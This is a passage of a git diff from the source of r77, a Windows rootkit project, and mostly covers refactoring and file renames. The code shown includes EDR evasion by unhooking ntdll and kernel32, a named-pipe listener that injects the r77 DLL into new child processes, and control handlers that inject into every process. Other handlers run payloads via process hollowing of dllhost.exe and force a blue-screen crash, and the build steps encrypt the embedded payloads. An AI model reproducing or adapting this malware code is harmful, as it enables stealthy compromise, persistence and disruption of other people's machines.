+ HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CHILD_PROCESS_PIPE_NAME32, CHILD_PROCESS_PIPE_NAME64));
+ while (pipe != INVALID_HANDLE_VALUE)
+ {
+ if (ConnectNamedPipe(pipe, NULL))
+ {
+ DWORD processId;
+ DWORD bytesRead;
+ if (ReadFile(pipe, &processId, 4, &bytesRead, NULL))
+ {
+ // Invoke the callback. The callback should inject r77 into the process.
+ ((PROCESSIDCALLBACK)parameter)(processId);
+
+ // Notify the callee that the callback completed (r77 is injected) and NtResumeThread can be called.
+ BYTE returnValue = 77;
+ DWORD bytesWritten;
+ WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritten, NULL);
+ }
+ }
+ else
+ {
+ Sleep(1);
+ }
+
+ DisconnectNamedPipe(pipe);
+ }
+
+ Sleep(1);
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Service/ProcessListener.h b/Service/ProcessListener.h
new file mode 100644
index 0000000..a897143
--- /dev/null
+++ b/Service/ProcessListener.h
@@ -0,0 +1,43 @@
+#include "r77mindef.h"
+#ifndef _PROCESSLISTENER_H
+#define _PROCESSLISTENER_H
+
+///
+/// A callback that notifies about a process ID.
+///
+typedef VOID(*PROCESSIDCALLBACK)(DWORD processId);
+
+///
+/// Defines a listener, that checks for new processes in a given interval.
+///
+typedef struct _NEW_PROCESS_LISTENER
+{
+ ///
+ /// The interval, in milliseconds, between each enumeration of running processes.
+ ///
+ DWORD Interval;
+ ///
+ /// The function that is called, when a process is found that was not present in the previous enumeration.
+ ///
+ PROCESSIDCALLBACK Callback;
+} NEW_PROCESS_LISTENER, *PNEW_PROCESS_LISTENER;
+
+///
+/// Creates a new process listener, that checks for new processes in a given interval.
+///
+/// The interval, in milliseconds, between each enumeration of running processes.
+/// The function that is called, when a process is found that was not present in the previous enumeration.
+///
+/// A pointer to the newly created NEW_PROCESS_LISTENER structure.
+///
+VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback);
+static DWORD WINAPI NewProcessListenerThread(LPVOID parameter);
+
+///
+/// Creates a named pipe that listens for notifications about created child processes.
+///
+/// The function that is called, when the named pipe received a process ID.
+VOID ChildProcessListener(PROCESSIDCALLBACK callback);
+static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter);
+
+#endif
\ No newline at end of file
diff --git a/vs/InstallService32/Resource.rc b/Service/Resource.rc
similarity index 100%
rename from vs/InstallService32/Resource.rc
rename to Service/Resource.rc
diff --git a/src/InstallService/InstallService.cpp b/Service/Service.c
similarity index 84%
rename from src/InstallService/InstallService.cpp
rename to Service/Service.c
index a08287a..72a18c4 100644
--- a/src/InstallService/InstallService.cpp
+++ b/Service/Service.c
@@ -1,17 +1,27 @@
-#include "InstallService.h"
-
-int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
+#include "Service.h"
+#include "resource.h"
+#include "r77def.h"
+#include "r77win.h"
+#include "r77runtime.h"
+#include "r77config.h"
+#include "r77process.h"
+#include "ProcessListener.h"
+#include "ControlPipeListener.h"
+#include
+#include
+
+int main()
{
// Unhook DLL's that are monitored by EDR.
UnhookDll(L"ntdll.dll");
- if (IsWindows10OrGreater() || sizeof(LPVOID) == 8)
+ if (IsWindows10OrGreater2() || BITNESS(64))
{
// Unhooking kernel32.dll on Windows 7 x86 fails.
//TODO: Find out why unhooking kernel32.dll on Windows 7 x86 fails.
UnhookDll(L"kernel32.dll");
}
- InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE);
+ EnabledDebugPrivilege();
// Get r77 DLL.
if (!GetResource(IDR_R77, "DLL", &Dll, &DllSize)) return 0;
@@ -31,7 +41,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
{
// The registry values "svc32" and "svc64" are reserved for the r77 service.
DWORD processId = GetCurrentProcessId();
- RegSetValueExW(pidKey, sizeof(LPVOID) == 4 ? L"svc32" : L"svc64", 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD));
+ RegSetValueExW(pidKey, COALESCE_BITNESS(L"svc32", L"svc64"), 0, REG_DWORD, (LPBYTE)&processId, sizeof(DWORD));
RegCloseKey(pidKey);
}
@@ -57,7 +67,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
// If the R77_SIGNATURE is already present in the target process, the r77 DLL will just unload itself.
// Perform startup of custom files, only in the 32-bit service to not perform startup twice.
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
PR77_CONFIG config = LoadR77Config();
@@ -69,7 +79,7 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
DeleteR77Config(config);
}
- while (true)
+ while (TRUE)
{
Sleep(100);
}
@@ -104,7 +114,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
{
case CONTROL_R77_TERMINATE_SERVICE:
{
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
RedirectCommand64(controlCode, NULL, 0);
}
@@ -114,18 +124,18 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
}
case CONTROL_R77_UNINSTALL:
{
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
RedirectCommand64(controlCode, NULL, 0);
}
HKEY key;
- if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | (sizeof(LPVOID) == 4 ? KEY_WOW64_32KEY : KEY_WOW64_64KEY), &key) == ERROR_SUCCESS)
+ if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | COALESCE_BITNESS(KEY_WOW64_32KEY, KEY_WOW64_64KEY), &key) == ERROR_SUCCESS)
{
RegDeleteValueW(key, HIDE_PREFIX L"stager");
}
- DeleteScheduledTask(sizeof(LPVOID) == 4 ? R77_SERVICE_NAME32 : R77_SERVICE_NAME64);
+ DeleteScheduledTask(COALESCE_BITNESS(R77_SERVICE_NAME32, R77_SERVICE_NAME64));
DetachAllInjectedProcesses();
UninstallR77Config();
TerminateR77Service(-1);
@@ -133,7 +143,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
}
case CONTROL_R77_PAUSE_INJECTION:
{
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
RedirectCommand64(controlCode, NULL, 0);
}
@@ -143,7 +153,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
}
case CONTROL_R77_RESUME_INJECTION:
{
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
RedirectCommand64(controlCode, NULL, 0);
}
@@ -162,7 +172,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
BOOL is64Bit;
if (Is64BitProcess(processId, &is64Bit))
{
- if (is64Bit == (sizeof(LPVOID) == 8))
+ if (BITNESS(is64Bit ? 64 : 32))
{
InjectDll(processId, Dll, DllSize, TRUE);
}
@@ -177,12 +187,12 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
}
case CONTROL_PROCESSES_INJECT_ALL:
{
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
RedirectCommand64(controlCode, NULL, 0);
}
- LPDWORD processes = new DWORD[10000];
+ LPDWORD processes = NEW_ARRAY(DWORD, 10000);
DWORD processCount = 0;
if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount))
{
@@ -206,9 +216,9 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
BOOL is64Bit;
if (Is64BitProcess(processId, &is64Bit))
{
- if (is64Bit == (sizeof(LPVOID) == 8))
+ if (BITNESS(is64Bit ? 64 : 32))
{
- DetachInjectedProcess(processId);
+ DetachInjectedProcessById(processId);
}
else
{
@@ -221,7 +231,7 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
}
case CONTROL_PROCESSES_DETACH_ALL:
{
- if (sizeof(LPVOID) == 4)
+ if (BITNESS(32))
{
RedirectCommand64(controlCode, NULL, 0);
}
@@ -250,13 +260,13 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
DWORD bytesRead;
if (ReadFile(pipe, &fileSize, sizeof(DWORD), &bytesRead, NULL) && bytesRead == sizeof(DWORD))
{
- LPBYTE file = new BYTE[fileSize];
+ LPBYTE file = NEW_ARRAY(BYTE, fileSize);
if (ReadFile(pipe, file, fileSize, &bytesRead, NULL) && bytesRead == fileSize)
{
BOOL is64Bit;
if (IsExecutable64Bit(file, &is64Bit))
{
- if (is64Bit == (sizeof(LPVOID) == 8))
+ if (BITNESS(is64Bit ? 64 : 32))
{
RunPE(path, file);
}
@@ -270,21 +280,21 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
pathSize + // path
sizeof(DWORD) + // file size
fileSize; // file
- LPBYTE redirectedData = new BYTE[redirectedDataSize];
+ LPBYTE redirectedData = NEW_ARRAY(BYTE, redirectedDataSize);
DWORD offset = 0;
- memcpy(redirectedData + offset, path, pathSize);
+ libc_memcpy(redirectedData + offset, path, pathSize);
offset += pathSize;
- memcpy(redirectedData + offset, &fileSize, sizeof(DWORD));
+ libc_memcpy(redirectedData + offset, &fileSize, sizeof(DWORD));
offset += sizeof(DWORD);
- memcpy(redirectedData + offset, file, fileSize);
+ libc_memcpy(redirectedData + offset, file, fileSize);
RedirectCommand64(controlCode, redirectedData, redirectedDataSize);
- delete[] redirectedData;
+ FREE(redirectedData);
}
}
}
- delete[] file;
+ FREE(file);
}
}
@@ -293,10 +303,10 @@ VOID ControlCallback(DWORD controlCode, HANDLE pipe)
case CONTROL_SYSTEM_BSOD:
{
BOOLEAN previousValue = FALSE;
- nt::RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue);
+ RtlAdjustPrivilege(20, TRUE, FALSE, &previousValue);
BOOLEAN oldIsCritical = FALSE;
- nt::RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE);
+ RtlSetProcessIsCritical(TRUE, &oldIsCritical, FALSE);
ExitProcess(0);
break;
diff --git a/src/InstallService/InstallService.h b/Service/Service.h
similarity index 91%
rename from src/InstallService/InstallService.h
rename to Service/Service.h
index a357b43..4ca6e47 100644
--- a/src/InstallService/InstallService.h
+++ b/Service/Service.h
@@ -1,7 +1,5 @@
-#pragma comment(linker, "/subsystem:windows")
-
-#include "../r77api.h"
-#include "../../vs/InstallService32/resource.h"
+#define CUSTOM_ENTRY
+#include "r77mindef.h"
///
/// The r77 DLL.
@@ -15,7 +13,7 @@ DWORD DllSize;
/// Specifies whether to temporarily pause injection.
/// This flag is related to the CONTROL_R77_PAUSE_INJECTION control code.
///
-BOOL IsInjectionPaused = FALSE;
+BOOL IsInjectionPaused;
///
/// Callback for newly created child processes that should be injected.
diff --git a/Service/Service.vcxitems b/Service/Service.vcxitems
new file mode 100644
index 0000000..672182a
--- /dev/null
+++ b/Service/Service.vcxitems
@@ -0,0 +1,30 @@
+
+
+
+ $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
+ true
+ {46e171d4-1811-48be-8867-a63c28761d28}
+
+
+
+ %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vs/InstallService32/resource.h b/Service/resource.h
similarity index 100%
rename from vs/InstallService32/resource.h
rename to Service/resource.h
diff --git a/vs/InstallService32/Resources/.gitkeep b/Service32/Resources/.gitkeep
similarity index 100%
rename from vs/InstallService32/Resources/.gitkeep
rename to Service32/Resources/.gitkeep
diff --git a/vs/InstallService32/InstallService32.vcxproj b/Service32/Service32.vcxproj
similarity index 73%
rename from vs/InstallService32/InstallService32.vcxproj
rename to Service32/Service32.vcxproj
index 64d49a2..367639b 100644
--- a/vs/InstallService32/InstallService32.vcxproj
+++ b/Service32/Service32.vcxproj
@@ -14,20 +14,20 @@
16.0
Win32Proj
{7271afd1-10f6-4589-95b7-3abf98e7b2ca}
- InstallService32
+ Service32
10.0
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -35,6 +35,8 @@
+
+
@@ -45,26 +47,34 @@
true
+ false
false
+ false
Level3
- true
+ false
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ CompileAsC
+ false
+ Default
- Console
+ Windows
true
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ true
+ EntryPoint
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
-xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources"
-"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt
+xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
+"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt
@@ -72,39 +82,33 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources"
Level3
true
true
- true
+ false
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ true
+ EntryPoint
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
-xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources"
-"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt
+xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
+"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/Service32/Service32.vcxproj.filters b/Service32/Service32.vcxproj.filters
new file mode 100644
index 0000000..51ff1a1
--- /dev/null
+++ b/Service32/Service32.vcxproj.filters
@@ -0,0 +1,13 @@
+
+
+
+
+ {d2e0541b-9b37-4d4c-862a-dc53df8eeb06}
+
+
+
+
+ Resources
+
+
+
\ No newline at end of file
diff --git a/vs/InstallService64/Resources/.gitkeep b/Service64/Resources/.gitkeep
similarity index 100%
rename from vs/InstallService64/Resources/.gitkeep
rename to Service64/Resources/.gitkeep
diff --git a/vs/InstallService64/InstallService64.vcxproj b/Service64/Service64.vcxproj
similarity index 72%
rename from vs/InstallService64/InstallService64.vcxproj
rename to Service64/Service64.vcxproj
index 5811991..e85a89f 100644
--- a/vs/InstallService64/InstallService64.vcxproj
+++ b/Service64/Service64.vcxproj
@@ -14,20 +14,20 @@
16.0
Win32Proj
{e3104b33-db3d-4c83-b393-1e05e1ff2b10}
- InstallService64
+ Service64
10.0
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -35,6 +35,8 @@
+
+
@@ -45,26 +47,34 @@
true
+ false
false
+ false
Level3
- true
+ false
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ CompileAsC
+ false
+ Default
- Console
+ Windows
true
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ true
+ EntryPoint
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
-xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources"
-"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt
+xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
+"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt
@@ -72,39 +82,33 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources"
Level3
true
true
- true
+ false
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ true
+ EntryPoint
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77service
-xcopy /Y "$(TargetPath)" "$(SolutionDir)InstallStager\Resources"
-"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)InstallStager\Resources\$(TargetName).exe" -compress -encrypt
+xcopy /Y "$(TargetPath)" "$(SolutionDir)Stager\Resources"
+"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(SolutionDir)Stager\Resources\$(TargetName).exe" -compress -encrypt
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/Service64/Service64.vcxproj.filters b/Service64/Service64.vcxproj.filters
new file mode 100644
index 0000000..af59fd3
--- /dev/null
+++ b/Service64/Service64.vcxproj.filters
@@ -0,0 +1,13 @@
+
+
+
+
+ {1e8b5ac9-65cd-4e5b-9f1e-0319a40a805d}
+
+
+
+
+ Resources
+
+
+
\ No newline at end of file
diff --git a/SlnBin/x64/detours.pdb b/SlnBin/x64/detours.pdb
deleted file mode 100644
index 812594c..0000000
Binary files a/SlnBin/x64/detours.pdb and /dev/null differ
diff --git a/SlnBin/x86/detours.pdb b/SlnBin/x86/detours.pdb
deleted file mode 100644
index 4878268..0000000
Binary files a/SlnBin/x86/detours.pdb and /dev/null differ
diff --git a/src/InstallStager/Helper.cs b/Stager/Helper.cs
similarity index 100%
rename from src/InstallStager/Helper.cs
rename to Stager/Helper.cs
diff --git a/vs/InstallStager/Properties/Resources.Designer.cs b/Stager/Properties/Resources.Designer.cs
similarity index 85%
rename from vs/InstallStager/Properties/Resources.Designer.cs
rename to Stager/Properties/Resources.Designer.cs
index a15425c..3d45d84 100644
--- a/vs/InstallStager/Properties/Resources.Designer.cs
+++ b/Stager/Properties/Resources.Designer.cs
@@ -8,7 +8,7 @@
//
//------------------------------------------------------------------------------
-namespace InstallStager.Properties {
+namespace Stager.Properties {
using System;
@@ -19,7 +19,7 @@ namespace InstallStager.Properties {
// class via a tool like ResGen or Visual Studio.
// To add or remove a member, edit your .ResX file then rerun ResGen
// with the /str option, or rebuild your VS project.
- [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
+ [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "17.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
@@ -39,7 +39,7 @@ internal Resources() {
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
- global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("InstallStager.Properties.Resources", typeof(Resources).Assembly);
+ global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Stager.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
@@ -63,9 +63,9 @@ internal Resources() {
///
/// Looks up a localized resource of type System.Byte[].
///
- internal static byte[] InstallService32 {
+ internal static byte[] Service32 {
get {
- object obj = ResourceManager.GetObject("InstallService32", resourceCulture);
+ object obj = ResourceManager.GetObject("Service32", resourceCulture);
return ((byte[])(obj));
}
}
@@ -73,9 +73,9 @@ internal static byte[] InstallService32 {
///
/// Looks up a localized resource of type System.Byte[].
///
- internal static byte[] InstallService64 {
+ internal static byte[] Service64 {
get {
- object obj = ResourceManager.GetObject("InstallService64", resourceCulture);
+ object obj = ResourceManager.GetObject("Service64", resourceCulture);
return ((byte[])(obj));
}
}
diff --git a/vs/InstallStager/Properties/Resources.resx b/Stager/Properties/Resources.resx
similarity index 89%
rename from vs/InstallStager/Properties/Resources.resx
rename to Stager/Properties/Resources.resx
index 3f7d266..3ad3432 100644
--- a/vs/InstallStager/Properties/Resources.resx
+++ b/Stager/Properties/Resources.resx
@@ -112,16 +112,16 @@
2.0
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- ..\Resources\InstallService32.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ ..\Resources\Service32.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
- ..\Resources\InstallService64.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+ ..\Resources\Service64.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
\ No newline at end of file
diff --git a/vs/InstallStager/Resources/.gitkeep b/Stager/Resources/.gitkeep
similarity index 100%
rename from vs/InstallStager/Resources/.gitkeep
rename to Stager/Resources/.gitkeep
diff --git a/src/InstallStager/RunPE.cs b/Stager/RunPE.cs
similarity index 100%
rename from src/InstallStager/RunPE.cs
rename to Stager/RunPE.cs
diff --git a/src/InstallStager/InstallStager.cs b/Stager/Stager.cs
similarity index 94%
rename from src/InstallStager/InstallStager.cs
rename to Stager/Stager.cs
index 5e37aa8..7306641 100644
--- a/src/InstallStager/InstallStager.cs
+++ b/Stager/Stager.cs
@@ -1,4 +1,4 @@
-using InstallStager.Properties;
+using Stager.Properties;
using System;
using System.Diagnostics;
using System.IO;
@@ -30,8 +30,8 @@ public static void Main()
Process.EnterDebugMode();
// Get r77 service executable.
- byte[] payload32 = Decompress(Decrypt(Resources.InstallService32));
- byte[] payload64 = Decompress(Decrypt(Resources.InstallService64));
+ byte[] payload32 = Decompress(Decrypt(Resources.Service32));
+ byte[] payload64 = Decompress(Decrypt(Resources.Service64));
// Executable to be used for process hollowing.
string path = @"C:\Windows\System32\dllhost.exe";
diff --git a/vs/InstallStager/InstallStager.csproj b/Stager/Stager.csproj
similarity index 80%
rename from vs/InstallStager/InstallStager.csproj
rename to Stager/Stager.csproj
index 1ea0f55..b6bd08c 100644
--- a/vs/InstallStager/InstallStager.csproj
+++ b/Stager/Stager.csproj
@@ -6,8 +6,8 @@
AnyCPU
{4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}
WinExe
- InstallStager
- InstallStager
+ Stager
+ Stager
v3.5
512
true
@@ -41,9 +41,6 @@
-
-
-
ResXFileCodeGenerator
@@ -51,26 +48,21 @@
-
- Helper.cs
-
-
- InstallStager.cs
-
-
- RunPE.cs
-
-
- Unhook.cs
-
+
+
True
True
Resources.resx
+
+
+
+
+
-
+
diff --git a/src/InstallStager/Unhook.cs b/Stager/Unhook.cs
similarity index 100%
rename from src/InstallStager/Unhook.cs
rename to Stager/Unhook.cs
diff --git a/vs/TestConsole/App.xaml b/TestConsole/App.xaml
similarity index 100%
rename from vs/TestConsole/App.xaml
rename to TestConsole/App.xaml
diff --git a/vs/TestConsole/App.xaml.cs b/TestConsole/App.xaml.cs
similarity index 100%
rename from vs/TestConsole/App.xaml.cs
rename to TestConsole/App.xaml.cs
diff --git a/vs/TestConsole/Controller/AppResources.cs b/TestConsole/Controller/AppResources.cs
similarity index 100%
rename from vs/TestConsole/Controller/AppResources.cs
rename to TestConsole/Controller/AppResources.cs
diff --git a/vs/TestConsole/Controller/ControlCode.cs b/TestConsole/Controller/ControlCode.cs
similarity index 100%
rename from vs/TestConsole/Controller/ControlCode.cs
rename to TestConsole/Controller/ControlCode.cs
diff --git a/vs/TestConsole/Controller/ControlPipe.cs b/TestConsole/Controller/ControlPipe.cs
similarity index 100%
rename from vs/TestConsole/Controller/ControlPipe.cs
rename to TestConsole/Controller/ControlPipe.cs
diff --git a/vs/TestConsole/Controller/ProcessList.cs b/TestConsole/Controller/ProcessList.cs
similarity index 100%
rename from vs/TestConsole/Controller/ProcessList.cs
rename to TestConsole/Controller/ProcessList.cs
diff --git a/vs/TestConsole/Model/Logging/LogDetailsItem.cs b/TestConsole/Model/Logging/LogDetailsItem.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogDetailsItem.cs
rename to TestConsole/Model/Logging/LogDetailsItem.cs
diff --git a/vs/TestConsole/Model/Logging/LogFileItem.cs b/TestConsole/Model/Logging/LogFileItem.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogFileItem.cs
rename to TestConsole/Model/Logging/LogFileItem.cs
diff --git a/vs/TestConsole/Model/Logging/LogItem.cs b/TestConsole/Model/Logging/LogItem.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogItem.cs
rename to TestConsole/Model/Logging/LogItem.cs
diff --git a/vs/TestConsole/Model/Logging/LogLinkItem.cs b/TestConsole/Model/Logging/LogLinkItem.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogLinkItem.cs
rename to TestConsole/Model/Logging/LogLinkItem.cs
diff --git a/vs/TestConsole/Model/Logging/LogMessage.cs b/TestConsole/Model/Logging/LogMessage.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogMessage.cs
rename to TestConsole/Model/Logging/LogMessage.cs
diff --git a/vs/TestConsole/Model/Logging/LogMessageType.cs b/TestConsole/Model/Logging/LogMessageType.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogMessageType.cs
rename to TestConsole/Model/Logging/LogMessageType.cs
diff --git a/vs/TestConsole/Model/Logging/LogTextItem.cs b/TestConsole/Model/Logging/LogTextItem.cs
similarity index 100%
rename from vs/TestConsole/Model/Logging/LogTextItem.cs
rename to TestConsole/Model/Logging/LogTextItem.cs
diff --git a/vs/TestConsole/Model/ProcessView.cs b/TestConsole/Model/ProcessView.cs
similarity index 100%
rename from vs/TestConsole/Model/ProcessView.cs
rename to TestConsole/Model/ProcessView.cs
diff --git a/vs/TestConsole/Properties/AssemblyInfo.cs b/TestConsole/Properties/AssemblyInfo.cs
similarity index 100%
rename from vs/TestConsole/Properties/AssemblyInfo.cs
rename to TestConsole/Properties/AssemblyInfo.cs
diff --git a/vs/TestConsole/Resources/AboutBanner.png b/TestConsole/Resources/AboutBanner.png
similarity index 100%
rename from vs/TestConsole/Resources/AboutBanner.png
rename to TestConsole/Resources/AboutBanner.png
diff --git a/vs/TestConsole/Resources/AboutGitHub16.png b/TestConsole/Resources/AboutGitHub16.png
similarity index 100%
rename from vs/TestConsole/Resources/AboutGitHub16.png
rename to TestConsole/Resources/AboutGitHub16.png
diff --git a/vs/TestConsole/Resources/AboutTitle.png b/TestConsole/Resources/AboutTitle.png
similarity index 100%
rename from vs/TestConsole/Resources/AboutTitle.png
rename to TestConsole/Resources/AboutTitle.png
diff --git a/vs/TestConsole/Resources/AboutWebsite16.png b/TestConsole/Resources/AboutWebsite16.png
similarity index 100%
rename from vs/TestConsole/Resources/AboutWebsite16.png
rename to TestConsole/Resources/AboutWebsite16.png
diff --git a/vs/TestConsole/Resources/ControlPipe16.png b/TestConsole/Resources/ControlPipe16.png
similarity index 100%
rename from vs/TestConsole/Resources/ControlPipe16.png
rename to TestConsole/Resources/ControlPipe16.png
diff --git a/vs/TestConsole/Resources/DllDetach16.png b/TestConsole/Resources/DllDetach16.png
similarity index 100%
rename from vs/TestConsole/Resources/DllDetach16.png
rename to TestConsole/Resources/DllDetach16.png
diff --git a/vs/TestConsole/Resources/DllInject16.png b/TestConsole/Resources/DllInject16.png
similarity index 100%
rename from vs/TestConsole/Resources/DllInject16.png
rename to TestConsole/Resources/DllInject16.png
diff --git a/vs/TestConsole/Resources/DllInjected16.png b/TestConsole/Resources/DllInjected16.png
similarity index 100%
rename from vs/TestConsole/Resources/DllInjected16.png
rename to TestConsole/Resources/DllInjected16.png
diff --git a/vs/TestConsole/Resources/Error16.png b/TestConsole/Resources/Error16.png
similarity index 100%
rename from vs/TestConsole/Resources/Error16.png
rename to TestConsole/Resources/Error16.png
diff --git a/vs/TestConsole/Resources/Example16.png b/TestConsole/Resources/Example16.png
similarity index 100%
rename from vs/TestConsole/Resources/Example16.png
rename to TestConsole/Resources/Example16.png
diff --git a/vs/TestConsole/Resources/Exe16.png b/TestConsole/Resources/Exe16.png
similarity index 100%
rename from vs/TestConsole/Resources/Exe16.png
rename to TestConsole/Resources/Exe16.png
diff --git a/vs/TestConsole/Resources/ExeUac16.png b/TestConsole/Resources/ExeUac16.png
similarity index 100%
rename from vs/TestConsole/Resources/ExeUac16.png
rename to TestConsole/Resources/ExeUac16.png
diff --git a/vs/TestConsole/Resources/Hidden16.png b/TestConsole/Resources/Hidden16.png
similarity index 100%
rename from vs/TestConsole/Resources/Hidden16.png
rename to TestConsole/Resources/Hidden16.png
diff --git a/vs/TestConsole/Resources/Information16.png b/TestConsole/Resources/Information16.png
similarity index 100%
rename from vs/TestConsole/Resources/Information16.png
rename to TestConsole/Resources/Information16.png
diff --git a/vs/TestConsole/Resources/Pdf16.png b/TestConsole/Resources/Pdf16.png
similarity index 100%
rename from vs/TestConsole/Resources/Pdf16.png
rename to TestConsole/Resources/Pdf16.png
